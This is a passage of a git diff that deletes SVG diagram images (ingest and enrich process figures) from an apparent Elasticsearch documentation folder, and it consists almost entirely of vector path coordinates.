-                <path d="M589.6299,259.23456 L535.992144,259.140078" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M589.62994,259.23456 L547.992123,259.161226" id="Path" stroke="#595959" stroke-width="2" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#595959" stroke-width="2" fill="#595959" points="547.9979 255.85776 538.91593 259.145236 547.986243 262.464663"></polygon>
-                <path d="M278.4777,212.84286 L278.4777,212.84286 C278.4777,203.382792 286.146584,195.713908 295.606637,195.713908 L364.120397,195.713908 L364.120397,195.713908 C368.663274,195.713908 373.020086,197.518565 376.232397,200.730861 C379.444707,203.943156 381.249334,208.299983 381.249334,212.84286 L381.249334,320.34872 C381.249334,329.808803 373.58045,337.477687 364.120397,337.477687 L295.606637,337.477687 C286.146584,337.477687 278.4777,329.808803 278.4777,320.34872 L278.4777,212.84286 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M278.4777,212.84286 L278.4777,212.84286 C278.4777,203.382792 286.146584,195.713908 295.606637,195.713908 L364.120397,195.713908 L364.120397,195.713908 C368.663274,195.713908 373.020086,197.518565 376.232397,200.730861 C379.444707,203.943156 381.249334,208.299983 381.249334,212.84286 L381.249334,320.34872 C381.249334,329.808803 373.58045,337.477687 364.120397,337.477687 L295.606637,337.477687 C286.146584,337.477687 278.4777,329.808803 278.4777,320.34872 L278.4777,212.84286 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M311.4026,225.0908 L311.4026,224.043925 C310.881767,224.866842 310.110933,225.2783 309.0901,225.2783 C308.423433,225.2783 307.814058,225.096008 307.261975,224.731425 C306.709892,224.366842 306.2776,223.856425 305.9651,223.200175 C305.663017,222.543925 305.511975,221.793925 305.511975,220.950175 C305.511975,220.116842 305.647392,219.366842 305.918225,218.700175 C306.199475,218.023092 306.616142,217.507467 307.168225,217.1533 C307.720308,216.788717 308.3401,216.606425 309.0276,216.606425 C309.5276,216.606425 309.970308,216.710592 310.355725,216.918925 C310.751558,217.127258 311.069267,217.4033 311.30885,217.74705 L311.30885,213.637675 L312.7151,213.637675 L312.7151,225.0908 L311.4026,225.0908 Z M306.9651,220.950175 C306.9651,222.012675 307.189058,222.80955 307.636975,223.3408 C308.084892,223.861633 308.610933,224.12205 309.2151,224.12205 C309.829683,224.12205 310.350517,223.87205 310.7776,223.37205 C311.2151,222.861633 311.43385,222.0908 311.43385,221.05955 C311.43385,219.924133 311.2151,219.0908 310.7776,218.55955 C310.3401,218.0283 309.798433,217.762675 309.1526,217.762675 C308.5276,217.762675 308.006767,218.017883 307.5901,218.5283 C307.173433,219.038717 306.9651,219.846008 306.9651,220.950175 Z M314.926038,215.24705 L314.926038,213.637675 L316.332288,213.637675 L316.332288,215.24705 L314.926038,215.24705 Z M314.926038,225.0908 L314.926038,216.793925 L316.332288,216.793925 L316.332288,225.0908 L314.926038,225.0908 Z M317.918225,222.606425 L319.30885,222.387675 C319.381767,222.950175 319.595308,223.382467 319.949475,223.68455 C320.314058,223.976217 320.814058,224.12205 321.449475,224.12205 C322.095308,224.12205 322.574475,223.991842 322.886975,223.731425 C323.199475,223.460592 323.355725,223.148092 323.355725,222.793925 C323.355725,222.481425 323.220308,222.231425 322.949475,222.043925 C322.751558,221.918925 322.272392,221.762675 321.511975,221.575175 C320.480725,221.314758 319.761975,221.0908 319.355725,220.9033 C318.959892,220.705383 318.657808,220.439758 318.449475,220.106425 C318.251558,219.773092 318.1526,219.4033 318.1526,218.99705 C318.1526,218.62205 318.235933,218.2783 318.4026,217.9658 C318.569267,217.6533 318.798433,217.392883 319.0901,217.18455 C319.30885,217.017883 319.605725,216.882467 319.980725,216.7783 C320.366142,216.663717 320.772392,216.606425 321.199475,216.606425 C321.855725,216.606425 322.428642,216.700175 322.918225,216.887675 C323.407808,217.075175 323.767183,217.330383 323.99635,217.6533 C324.235933,217.9658 324.4026,218.392883 324.49635,218.93455 L323.12135,219.12205 C323.05885,218.694967 322.876558,218.361633 322.574475,218.12205 C322.272392,217.882467 321.850517,217.762675 321.30885,217.762675 C320.663017,217.762675 320.199475,217.87205 319.918225,218.0908 C319.647392,218.299133 319.511975,218.543925 319.511975,218.825175 C319.511975,219.012675 319.569267,219.179342 319.68385,219.325175 C319.798433,219.471008 319.975517,219.596008 320.2151,219.700175 C320.360933,219.752258 320.7776,219.87205 321.4651,220.05955 C322.454683,220.319967 323.147392,220.538717 323.543225,220.7158 C323.939058,220.882467 324.24635,221.127258 324.4651,221.450175 C324.694267,221.773092 324.80885,222.174133 324.80885,222.6533 C324.80885,223.12205 324.668225,223.564758 324.386975,223.981425 C324.116142,224.387675 323.720308,224.705383 323.199475,224.93455 C322.689058,225.163717 322.110933,225.2783 321.4651,225.2783 C320.381767,225.2783 319.55885,225.054342 318.99635,224.606425 C318.43385,224.158508 318.074475,223.491842 317.918225,222.606425 Z M325.918225,222.606425 L327.30885,222.387675 C327.381767,222.950175 327.595308,223.382467 327.949475,223.68455 C328.314058,223.976217 328.814058,224.12205 329.449475,224.12205 C330.095308,224.12205 330.574475,223.991842 330.886975,223.731425 C331.199475,223.460592 331.355725,223.148092 331.355725,222.793925 C331.355725,222.481425 331.220308,222.231425 330.949475,222.043925 C330.751558,221.918925 330.272392,221.762675 329.511975,221.575175 C328.480725,221.314758 327.761975,221.0908 327.355725,220.9033 C326.959892,220.705383 326.657808,220.439758 326.449475,220.106425 C326.251558,219.773092 326.1526,219.4033 326.1526,218.99705 C326.1526,218.62205 326.235933,218.2783 326.4026,217.9658 C326.569267,217.6533 326.798433,217.392883 327.0901,217.18455 C327.30885,217.017883 327.605725,216.882467 327.980725,216.7783 C328.366142,216.663717 328.772392,216.606425 329.199475,216.606425 C329.855725,216.606425 330.428642,216.700175 330.918225,216.887675 C331.407808,217.075175 331.767183,217.330383 331.99635,217.6533 C332.235933,217.9658 332.4026,218.392883 332.49635,218.93455 L331.12135,219.12205 C331.05885,218.694967 330.876558,218.361633 330.574475,218.12205 C330.272392,217.882467 329.850517,217.762675 329.30885,217.762675 C328.663017,217.762675 328.199475,217.87205 327.918225,218.0908 C327.647392,218.299133 327.511975,218.543925 327.511975,218.825175 C327.511975,219.012675 327.569267,219.179342 327.68385,219.325175 C327.798433,219.471008 327.975517,219.596008 328.2151,219.700175 C328.360933,219.752258 328.7776,219.87205 329.4651,220.05955 C330.454683,220.319967 331.147392,220.538717 331.543225,220.7158 C331.939058,220.882467 332.24635,221.127258 332.4651,221.450175 C332.694267,221.773092 332.80885,222.174133 332.80885,222.6533 C332.80885,223.12205 332.668225,223.564758 332.386975,223.981425 C332.116142,224.387675 331.720308,224.705383 331.199475,224.93455 C330.689058,225.163717 330.110933,225.2783 329.4651,225.2783 C328.381767,225.2783 327.55885,225.054342 326.99635,224.606425 C326.43385,224.158508 326.074475,223.491842 325.918225,222.606425 Z M340.1526,222.418925 L341.605725,222.5908 C341.376558,223.444967 340.949475,224.106425 340.324475,224.575175 C339.709892,225.043925 338.923433,225.2783 337.9651,225.2783 C336.74635,225.2783 335.782808,224.9033 335.074475,224.1533 C334.366142,223.4033 334.011975,222.356425 334.011975,221.012675 C334.011975,219.616842 334.37135,218.533508 335.0901,217.762675 C335.80885,216.991842 336.741142,216.606425 337.886975,216.606425 C338.991142,216.606425 339.892183,216.986633 340.5901,217.74705 C341.298433,218.49705 341.6526,219.554342 341.6526,220.918925 C341.6526,221.002258 341.6526,221.127258 341.6526,221.293925 L335.4651,221.293925 C335.517183,222.210592 335.772392,222.913717 336.230725,223.4033 C336.699475,223.882467 337.2776,224.12205 337.9651,224.12205 C338.485933,224.12205 338.928642,223.986633 339.293225,223.7158 C339.657808,223.444967 339.944267,223.012675 340.1526,222.418925 Z M335.543225,220.137675 L340.168225,220.137675 C340.105725,219.439758 339.928642,218.918925 339.636975,218.575175 C339.189058,218.033508 338.610933,217.762675 337.9026,217.762675 C337.256767,217.762675 336.709892,217.981425 336.261975,218.418925 C335.824475,218.846008 335.584892,219.418925 335.543225,220.137675 Z M348.785413,222.043925 L350.176038,222.231425 C350.019788,223.179342 349.629163,223.924133 349.004163,224.4658 C348.389579,225.007467 347.629163,225.2783 346.722913,225.2783 C345.587496,225.2783 344.670829,224.908508 343.972913,224.168925 C343.285413,223.418925 342.941663,222.351217 342.941663,220.9658 C342.941663,220.069967 343.087496,219.288717 343.379163,218.62205 C343.681246,217.944967 344.134371,217.439758 344.738538,217.106425 C345.353121,216.773092 346.014579,216.606425 346.722913,216.606425 C347.629163,216.606425 348.368746,216.835592 348.941663,217.293925 C349.514579,217.741842 349.879163,218.387675 350.035413,219.231425 L348.676038,219.43455 C348.540621,218.882467 348.306246,218.4658 347.972913,218.18455 C347.649996,217.9033 347.254163,217.762675 346.785413,217.762675 C346.077079,217.762675 345.498954,218.017883 345.051038,218.5283 C344.613538,219.0283 344.394788,219.830383 344.394788,220.93455 C344.394788,222.049133 344.608329,222.861633 345.035413,223.37205 C345.462496,223.87205 346.019788,224.12205 346.707288,224.12205 C347.259371,224.12205 347.717704,223.955383 348.082288,223.62205 C348.457288,223.2783 348.691663,222.752258 348.785413,222.043925 Z M354.441663,223.825175 L354.644788,225.075175 C354.248954,225.158508 353.894788,225.200175 353.582288,225.200175 C353.071871,225.200175 352.676038,225.12205 352.394788,224.9658 C352.113538,224.799133 351.915621,224.585592 351.801038,224.325175 C351.686454,224.054342 351.629163,223.49705 351.629163,222.6533 L351.629163,217.887675 L350.597913,217.887675 L350.597913,216.793925 L351.629163,216.793925 L351.629163,214.731425 L353.035413,213.887675 L353.035413,216.793925 L354.441663,216.793925 L354.441663,217.887675 L353.035413,217.887675 L353.035413,222.731425 C353.035413,223.137675 353.056246,223.398092 353.097913,223.512675 C353.149996,223.627258 353.233329,223.721008 353.347913,223.793925 C353.462496,223.856425 353.623954,223.887675 353.832288,223.887675 C353.988538,223.887675 354.191663,223.866842 354.441663,223.825175 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M311.80884,260.4502 L313.99634,260.809575 C313.71509,261.611658 313.272382,262.226242 312.668215,262.653325 C312.064048,263.069992 311.303632,263.278325 310.386965,263.278325 C308.949465,263.278325 307.881757,262.804367 307.18384,261.85645 C306.642173,261.10645 306.37134,260.153325 306.37134,258.997075 C306.37134,257.622075 306.730715,256.549153 307.449465,255.77831 C308.168215,254.99706 309.074465,254.606435 310.168215,254.606435 C311.407798,254.606435 312.381757,255.012685 313.09009,255.825185 C313.80884,256.637695 314.15259,257.8877 314.12134,259.5752 L308.62134,259.5752 C308.631757,260.221033 308.803632,260.726242 309.136965,261.090825 C309.480715,261.455408 309.907798,261.6377 310.418215,261.6377 C310.761965,261.6377 311.048423,261.54395 311.27759,261.35645 C311.517173,261.16895 311.694257,260.866867 311.80884,260.4502 Z M311.93384,258.23145 C311.923423,257.596033 311.761965,257.111658 311.449465,256.778325 C311.136965,256.444992 310.756757,256.278325 310.30884,256.278325 C309.829673,256.278325 309.43384,256.455408 309.12134,256.809575 C308.80884,257.153325 308.65259,257.627283 308.65259,258.23145 L311.93384,258.23145 Z M323.457277,263.090825 L321.254152,263.090825 L321.254152,258.85645 C321.254152,257.960617 321.207277,257.382492 321.113527,257.122075 C321.019777,256.851242 320.868736,256.642908 320.660402,256.497075 C320.452069,256.351242 320.196861,256.278325 319.894777,256.278325 C319.519777,256.278325 319.181236,256.382492 318.879152,256.590825 C318.577069,256.799158 318.368736,257.0752 318.254152,257.41895 C318.139569,257.7627 318.082277,258.398117 318.082277,259.3252 L318.082277,263.090825 L315.894777,263.090825 L315.894777,254.793935 L317.926027,254.793935 L317.926027,256.0127 C318.655194,255.07519 319.566652,254.606435 320.660402,254.606435 C321.149986,254.606435 321.592694,254.694977 321.988527,254.87206 C322.394777,255.038727 322.696861,255.257477 322.894777,255.52831 C323.103111,255.799143 323.248944,256.10644 323.332277,256.4502 C323.415611,256.79395 323.457277,257.288742 323.457277,257.934575 L323.457277,263.090825 L323.457277,263.090825 Z M327.77759,263.090825 L325.59009,263.090825 L325.59009,254.793935 L327.62134,254.793935 L327.62134,255.96581 C327.975507,255.413727 328.288007,255.049143 328.55884,254.87206 C328.84009,254.694977 329.157798,254.606435 329.511965,254.606435 C330.011965,254.606435 330.49634,254.741852 330.96509,255.012685 L330.27759,256.934575 C329.913007,256.694992 329.569257,256.5752 329.24634,256.5752 C328.944257,256.5752 328.68384,256.658534 328.46509,256.8252 C328.256757,256.991867 328.09009,257.299159 327.96509,257.747075 C327.84009,258.184575 327.77759,259.111659 327.77759,260.528325 L327.77759,263.090825 L327.77759,263.090825 Z M331.910402,253.668935 L331.910402,251.637685 L334.097902,251.637685 L334.097902,253.668935 L331.910402,253.668935 Z M331.910402,263.090825 L331.910402,254.793935 L334.097902,254.793935 L334.097902,263.090825 L331.910402,263.090825 Z M343.59009,257.247075 L341.418215,257.6377 C341.345298,257.2002 341.178632,256.872075 340.918215,256.653325 C340.668215,256.434575 340.334882,256.3252 339.918215,256.3252 C339.376548,256.3252 338.939048,256.517908 338.605715,256.903325 C338.282798,257.278325 338.12134,257.908533 338.12134,258.79395 C338.12134,259.773117 338.288007,260.465825 338.62134,260.872075 C338.954673,261.278325 339.397382,261.48145 339.949465,261.48145 C340.366132,261.48145 340.704673,261.366867 340.96509,261.1377 C341.235923,260.898117 341.428632,260.486658 341.543215,259.903325 L343.699465,260.278325 C343.470298,261.267908 343.038007,262.017908 342.40259,262.528325 C341.767173,263.028325 340.918215,263.278325 339.855715,263.278325 C338.636965,263.278325 337.668215,262.898117 336.949465,262.1377 C336.230715,261.366867 335.87134,260.304367 335.87134,258.9502 C335.87134,257.5752 336.230715,256.507487 336.949465,255.74706 C337.678632,254.986643 338.657798,254.606435 339.886965,254.606435 C340.897382,254.606435 341.699465,254.825185 342.293215,255.262685 C342.897382,255.689768 343.329673,256.351231 343.59009,257.247075 Z M347.441652,251.637685 L347.441652,255.84081 C348.149986,255.017893 348.993736,254.606435 349.972902,254.606435 C350.483319,254.606435 350.941652,254.700185 351.347902,254.887685 C351.754152,255.075185 352.056236,255.314768 352.254152,255.606435 C352.462486,255.898112 352.603111,256.221033 352.676027,256.5752 C352.759361,256.929367 352.801027,257.476242 352.801027,258.215825 L352.801027,263.090825 L350.597902,263.090825 L350.597902,258.7002 C350.597902,257.835617 350.556236,257.288742 350.472902,257.059575 C350.389569,256.819992 350.243736,256.632492 350.035402,256.497075 C349.827069,256.351242 349.561444,256.278325 349.238527,256.278325 C348.873944,256.278325 348.545819,256.366867 348.254152,256.54395 C347.972902,256.721033 347.764569,256.991867 347.629152,257.35645 C347.504152,257.710617 347.441652,258.236658 347.441652,258.934575 L347.441652,263.090825 L345.238527,263.090825 L345.238527,251.637685 L347.441652,251.637685 L347.441652,251.637685 Z" id="Shape" fill="#0097A7" fill-rule="nonzero"></path>
-                <path d="M294.87915,301.09082 L294.87915,289.637695 L296.2854,289.637695 L296.2854,301.09082 L294.87915,301.09082 Z M297.933837,296.93457 C297.933837,295.40332 298.360921,294.267903 299.215087,293.52832 C299.933837,292.913737 300.803629,292.606445 301.824462,292.606445 C302.970296,292.606445 303.902587,292.981445 304.621337,293.731445 C305.350504,294.471028 305.715087,295.502278 305.715087,296.825195 C305.715087,297.887695 305.553629,298.726237 305.230712,299.34082 C304.907796,299.955403 304.439046,300.43457 303.824462,300.77832 C303.220296,301.111653 302.553629,301.27832 301.824462,301.27832 C300.668212,301.27832 299.730712,300.908528 299.011962,300.168945 C298.293212,299.418945 297.933837,298.34082 297.933837,296.93457 Z M299.386962,296.93457 C299.386962,297.99707 299.616129,298.793945 300.074462,299.325195 C300.543212,299.856445 301.126546,300.12207 301.824462,300.12207 C302.522379,300.12207 303.100504,299.856445 303.558837,299.325195 C304.027587,298.793945 304.261962,297.981445 304.261962,296.887695 C304.261962,295.866862 304.027587,295.09082 303.558837,294.55957 C303.100504,294.02832 302.522379,293.762695 301.824462,293.762695 C301.126546,293.762695 300.543212,294.02832 300.074462,294.55957 C299.616129,295.080403 299.386962,295.87207 299.386962,296.93457 Z M308.894775,301.09082 L306.3479,292.793945 L307.801025,292.793945 L309.12915,297.575195 L309.613525,299.356445 C309.634358,299.273112 309.780192,298.705403 310.051025,297.65332 L311.363525,292.793945 L312.81665,292.793945 L314.051025,297.606445 L314.4729,299.18457 L314.94165,297.59082 L316.363525,292.793945 L317.738525,292.793945 L315.144775,301.09082 L313.676025,301.09082 L312.363525,296.12207 L312.0354,294.700195 L310.363525,301.09082 L308.894775,301.09082 Z M324.590087,298.418945 L326.043212,298.59082 C325.814046,299.444987 325.386962,300.106445 324.761962,300.575195 C324.147379,301.043945 323.360921,301.27832 322.402587,301.27832 C321.183837,301.27832 320.220296,300.90332 319.511962,300.15332 C318.803629,299.40332 318.449462,298.356445 318.449462,297.012695 C318.449462,295.616862 318.808837,294.533528 319.527587,293.762695 C320.246337,292.991862 321.178629,292.606445 322.324462,292.606445 C323.428629,292.606445 324.329671,292.986653 325.027587,293.74707 C325.735921,294.49707 326.090087,295.554362 326.090087,296.918945 C326.090087,297.002278 326.090087,297.127278 326.090087,297.293945 L319.902587,297.293945 C319.954671,298.210612 320.209879,298.913737 320.668212,299.40332 C321.136962,299.882487 321.715087,300.12207 322.402587,300.12207 C322.923421,300.12207 323.366129,299.986653 323.730712,299.71582 C324.095296,299.444987 324.381754,299.012695 324.590087,298.418945 Z M319.980712,296.137695 L324.605712,296.137695 C324.543212,295.439778 324.366129,294.918945 324.074462,294.575195 C323.626546,294.033528 323.048421,293.762695 322.340087,293.762695 C321.694254,293.762695 321.147379,293.981445 320.699462,294.418945 C320.261962,294.846028 320.022379,295.418945 319.980712,296.137695 Z M327.801025,301.09082 L327.801025,292.793945 L329.06665,292.793945 L329.06665,294.043945 C329.389567,293.460612 329.686442,293.075195 329.957275,292.887695 C330.228108,292.700195 330.530192,292.606445 330.863525,292.606445 C331.332275,292.606445 331.811442,292.757487 332.301025,293.05957 L331.81665,294.356445 C331.4729,294.158528 331.12915,294.05957 330.7854,294.05957 C330.483317,294.05957 330.207275,294.15332 329.957275,294.34082 C329.717692,294.517903 329.545817,294.773112 329.44165,295.106445 C329.2854,295.606445 329.207275,296.15332 329.207275,296.74707 L329.207275,301.09082 L327.801025,301.09082 Z M338.551025,298.043945 L339.94165,298.231445 C339.7854,299.179362 339.394775,299.924153 338.769775,300.46582 C338.155192,301.007487 337.394775,301.27832 336.488525,301.27832 C335.353108,301.27832 334.436442,300.908528 333.738525,300.168945 C333.051025,299.418945 332.707275,298.351237 332.707275,296.96582 C332.707275,296.069987 332.853108,295.288737 333.144775,294.62207 C333.446858,293.944987 333.899983,293.439778 334.50415,293.106445 C335.118733,292.773112 335.780192,292.606445 336.488525,292.606445 C337.394775,292.606445 338.134358,292.835612 338.707275,293.293945 C339.280192,293.741862 339.644775,294.387695 339.801025,295.231445 L338.44165,295.43457 C338.306233,294.882487 338.071858,294.46582 337.738525,294.18457 C337.415608,293.90332 337.019775,293.762695 336.551025,293.762695 C335.842692,293.762695 335.264567,294.017903 334.81665,294.52832 C334.37915,295.02832 334.1604,295.830403 334.1604,296.93457 C334.1604,298.049153 334.373942,298.861653 334.801025,299.37207 C335.228108,299.87207 335.7854,300.12207 336.4729,300.12207 C337.024983,300.12207 337.483317,299.955403 337.8479,299.62207 C338.2229,299.27832 338.457275,298.752278 338.551025,298.043945 Z M346.551025,300.05957 C346.030192,300.507487 345.530192,300.825195 345.051025,301.012695 C344.571858,301.189778 344.056233,301.27832 343.50415,301.27832 C342.587483,301.27832 341.884358,301.054362 341.394775,300.606445 C340.905192,300.158528 340.6604,299.59082 340.6604,298.90332 C340.6604,298.49707 340.75415,298.127278 340.94165,297.793945 C341.12915,297.450195 341.368733,297.179362 341.6604,296.981445 C341.962483,296.773112 342.301025,296.616862 342.676025,296.512695 C342.957275,296.439778 343.373942,296.37207 343.926025,296.30957 C345.061442,296.174153 345.899983,296.012695 346.44165,295.825195 C346.44165,295.627278 346.44165,295.502278 346.44165,295.450195 C346.44165,294.877278 346.311442,294.476237 346.051025,294.24707 C345.686442,293.924153 345.149983,293.762695 344.44165,293.762695 C343.7854,293.762695 343.295817,293.882487 342.9729,294.12207 C342.6604,294.351237 342.431233,294.757487 342.2854,295.34082 L340.9104,295.15332 C341.0354,294.569987 341.238525,294.096028 341.519775,293.731445 C341.811442,293.366862 342.228108,293.09082 342.769775,292.90332 C343.311442,292.705403 343.936442,292.606445 344.644775,292.606445 C345.353108,292.606445 345.926025,292.689778 346.363525,292.856445 C346.811442,293.023112 347.139567,293.231445 347.3479,293.481445 C347.556233,293.731445 347.702067,294.049153 347.7854,294.43457 C347.837483,294.674153 347.863525,295.106445 347.863525,295.731445 L347.863525,297.606445 C347.863525,298.918945 347.889567,299.74707 347.94165,300.09082 C348.00415,300.43457 348.123942,300.767903 348.301025,301.09082 L346.832275,301.09082 C346.686442,300.799153 346.592692,300.455403 346.551025,300.05957 Z M346.44165,296.918945 C345.931233,297.127278 345.165608,297.304362 344.144775,297.450195 C343.561442,297.533528 343.149983,297.627278 342.9104,297.731445 C342.670817,297.835612 342.483317,297.991862 342.3479,298.200195 C342.2229,298.398112 342.1604,298.616862 342.1604,298.856445 C342.1604,299.231445 342.301025,299.543945 342.582275,299.793945 C342.873942,300.043945 343.290608,300.168945 343.832275,300.168945 C344.373942,300.168945 344.853108,300.054362 345.269775,299.825195 C345.696858,299.585612 346.009358,299.257487 346.207275,298.84082 C346.363525,298.52832 346.44165,298.05957 346.44165,297.43457 L346.44165,296.918945 Z M349.480712,298.606445 L350.871337,298.387695 C350.944254,298.950195 351.157796,299.382487 351.511962,299.68457 C351.876546,299.976237 352.376546,300.12207 353.011962,300.12207 C353.657796,300.12207 354.136962,299.991862 354.449462,299.731445 C354.761962,299.460612 354.918212,299.148112 354.918212,298.793945 C354.918212,298.481445 354.782796,298.231445 354.511962,298.043945 C354.314046,297.918945 353.834879,297.762695 353.074462,297.575195 C352.043212,297.314778 351.324462,297.09082 350.918212,296.90332 C350.522379,296.705403 350.220296,296.439778 350.011962,296.106445 C349.814046,295.773112 349.715087,295.40332 349.715087,294.99707 C349.715087,294.62207 349.798421,294.27832 349.965087,293.96582 C350.131754,293.65332 350.360921,293.392903 350.652587,293.18457 C350.871337,293.017903 351.168212,292.882487 351.543212,292.77832 C351.928629,292.663737 352.334879,292.606445 352.761962,292.606445 C353.418212,292.606445 353.991129,292.700195 354.480712,292.887695 C354.970296,293.075195 355.329671,293.330403 355.558837,293.65332 C355.798421,293.96582 355.965087,294.392903 356.058837,294.93457 L354.683837,295.12207 C354.621337,294.694987 354.439046,294.361653 354.136962,294.12207 C353.834879,293.882487 353.413004,293.762695 352.871337,293.762695 C352.225504,293.762695 351.761962,293.87207 351.480712,294.09082 C351.209879,294.299153 351.074462,294.543945 351.074462,294.825195 C351.074462,295.012695 351.131754,295.179362 351.246337,295.325195 C351.360921,295.471028 351.538004,295.596028 351.777587,295.700195 C351.923421,295.752278 352.340087,295.87207 353.027587,296.05957 C354.017171,296.319987 354.709879,296.538737 355.105712,296.71582 C355.501546,296.882487 355.808837,297.127278 356.027587,297.450195 C356.256754,297.773112 356.371337,298.174153 356.371337,298.65332 C356.371337,299.12207 356.230712,299.564778 355.949462,299.981445 C355.678629,300.387695 355.282796,300.705403 354.761962,300.93457 C354.251546,301.163737 353.673421,301.27832 353.027587,301.27832 C351.944254,301.27832 351.121337,301.054362 350.558837,300.606445 C349.996337,300.158528 349.636962,299.491862 349.480712,298.606445 Z M363.715087,298.418945 L365.168212,298.59082 C364.939046,299.444987 364.511962,300.106445 363.886962,300.575195 C363.272379,301.043945 362.485921,301.27832 361.527587,301.27832 C360.308837,301.27832 359.345296,300.90332 358.636962,300.15332 C357.928629,299.40332 357.574462,298.356445 357.574462,297.012695 C357.574462,295.616862 357.933837,294.533528 358.652587,293.762695 C359.371337,292.991862 360.303629,292.606445 361.449462,292.606445 C362.553629,292.606445 363.454671,292.986653 364.152587,293.74707 C364.860921,294.49707 365.215087,295.554362 365.215087,296.918945 C365.215087,297.002278 365.215087,297.127278 365.215087,297.293945 L359.027587,297.293945 C359.079671,298.210612 359.334879,298.913737 359.793212,299.40332 C360.261962,299.882487 360.840087,300.12207 361.527587,300.12207 C362.048421,300.12207 362.491129,299.986653 362.855712,299.71582 C363.220296,299.444987 363.506754,299.012695 363.715087,298.418945 Z M359.105712,296.137695 L363.730712,296.137695 C363.668212,295.439778 363.491129,294.918945 363.199462,294.575195 C362.751546,294.033528 362.173421,293.762695 361.465087,293.762695 C360.819254,293.762695 360.272379,293.981445 359.824462,294.418945 C359.386962,294.846028 359.147379,295.418945 359.105712,296.137695 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M450.0971,259.13376 L360.49081,259.13376" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M450.0971,259.13376 L372.49081,259.13376" id="Path" stroke="#595959" stroke-width="2" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#595959" stroke-width="2" fill="#595959" points="372.4908 255.83029 363.414598 259.133757 372.4908 262.437224"></polygon>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/ingest/ingest-process.svg b/docs/reference/images/ingest/ingest-process.svg
deleted file mode 100644
index 66557798531..00000000000
--- a/docs/reference/images/ingest/ingest-process.svg
+++ /dev/null
@@ -1,42 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="157px" height="409px" viewBox="0 0 157 409" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 53.2 (72643) - https://sketchapp.com -->
-    <title>Enrich process 2</title>
-    <desc>Created with Sketch.</desc>
-    <defs>
-        <polygon id="path-1" points="0 0 156 0 156 408 0 408"></polygon>
-    </defs>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="Enrich-process" transform="translate(1.000000, 1.000000)">
-            <mask id="mask-2" fill="white">
-                <use xlink:href="#path-1"></use>
-            </mask>
-            <g id="path2"></g>
-            <g id="g47" mask="url(#mask-2)">
-                <g transform="translate(-0.021000, -0.666667)">
-                    <polygon id="path5" stroke="none" fill="#FFFFFF" fill-rule="evenodd" points="14.66667 0.666667 148 0.666667 148 407.33333 14.66667 407.33333"></polygon>
-                    <polygon id="path7" stroke="none" fill-opacity="0" fill="#000000" fill-rule="evenodd" points="0.021 145.40158 155.70603 145.40158 155.70603 171.70079 0.021 171.70079"></polygon>
-                    <path d="M27.7776,159.91783 L27.7776,158.30845 L29.18385,158.30845 L29.18385,159.91783 L27.7776,159.91783 Z M27.7776,169.76158 L27.7776,161.4647 L29.18385,161.4647 L29.18385,169.76158 L27.7776,169.76158 Z M31.33229,169.76158 L31.33229,161.4647 L32.59791,161.4647 L32.59791,162.63658 C33.2020767,161.730327 34.0822867,161.2772 35.23854,161.2772 C35.73854,161.2772 36.1968733,161.365743 36.61354,161.54283 C37.0302067,161.71991 37.3427067,161.954283 37.55104,162.24595 C37.7593733,162.537617 37.9052067,162.886577 37.98854,163.29283 C38.0406067,163.553243 38.06664,164.006367 38.06664,164.6522 L38.06664,169.76158 L36.66039,169.76158 L36.66039,164.7147 C36.66039,164.141787 36.6031,163.714703 36.48852,163.43345 C36.3843533,163.141783 36.1916433,162.912617 35.91039,162.74595 C35.6395567,162.579283 35.31664,162.49595 34.94164,162.49595 C34.3374733,162.49595 33.81664,162.68866 33.37914,163.07408 C32.95206,163.44908 32.73852,164.16783 32.73852,165.23033 L32.73852,169.76158 L31.33229,169.76158 Z M39.9651,170.44908 L41.3401,170.6522 C41.3921667,171.079287 41.5484167,171.38658 41.80885,171.57408 C42.1630167,171.834493 42.6421833,171.9647 43.24635,171.9647 C43.8921833,171.9647 44.3921833,171.834493 44.74635,171.57408 C45.1005167,171.31366 45.3401,170.949077 45.4651,170.48033 C45.5380133,170.199077 45.57447,169.59491 45.57447,168.66783 C44.95989,169.396997 44.1942667,169.76158 43.2776,169.76158 C42.1317667,169.76158 41.24635,169.35012 40.62135,168.5272 C39.99635,167.704287 39.68385,166.714703 39.68385,165.55845 C39.68385,164.766783 39.8244733,164.037617 40.10572,163.37095 C40.3973867,162.704283 40.8140533,162.18866 41.35572,161.82408 C41.9078067,161.459493 42.5484333,161.2772 43.2776,161.2772 C44.2567667,161.2772 45.0640567,161.673033 45.69947,162.4647 L45.69947,161.4647 L46.99635,161.4647 L46.99635,168.63658 C46.99635,169.928247 46.86614,170.844913 46.60572,171.38658 C46.3453067,171.928247 45.92864,172.35533 45.35572,172.66783 C44.7828067,172.98033 44.0796833,173.13658 43.24635,173.13658 C42.2567633,173.13658 41.45468,172.91262 40.8401,172.4647 C40.2359333,172.016787 39.9442667,171.344913 39.9651,170.44908 Z M41.13697,165.4647 C41.13697,166.548033 41.3505133,167.3397 41.7776,167.8397 C42.2151,168.3397 42.7567667,168.5897 43.4026,168.5897 C44.0484333,168.5897 44.5901,168.34491 45.0276,167.85533 C45.4651,167.35533 45.68385,166.57408 45.68385,165.51158 C45.68385,164.490747 45.45989,163.72512 45.01197,163.2147 C44.5640567,162.693867 44.02239,162.43345 43.38697,162.43345 C42.76197,162.43345 42.23072,162.68866 41.79322,163.19908 C41.35572,163.709493 41.13697,164.4647 41.13697,165.4647 Z M54.80104,167.0897 L56.25416,167.26158 C56.0249933,168.115747 55.59791,168.777203 54.97291,169.24595 C54.35833,169.714703 53.5718733,169.94908 52.61354,169.94908 C51.3947867,169.94908 50.4312433,169.57408 49.72291,168.82408 C49.0145767,168.07408 48.66041,167.027203 48.66041,165.68345 C48.66041,164.287617 49.0197867,163.204283 49.73854,162.43345 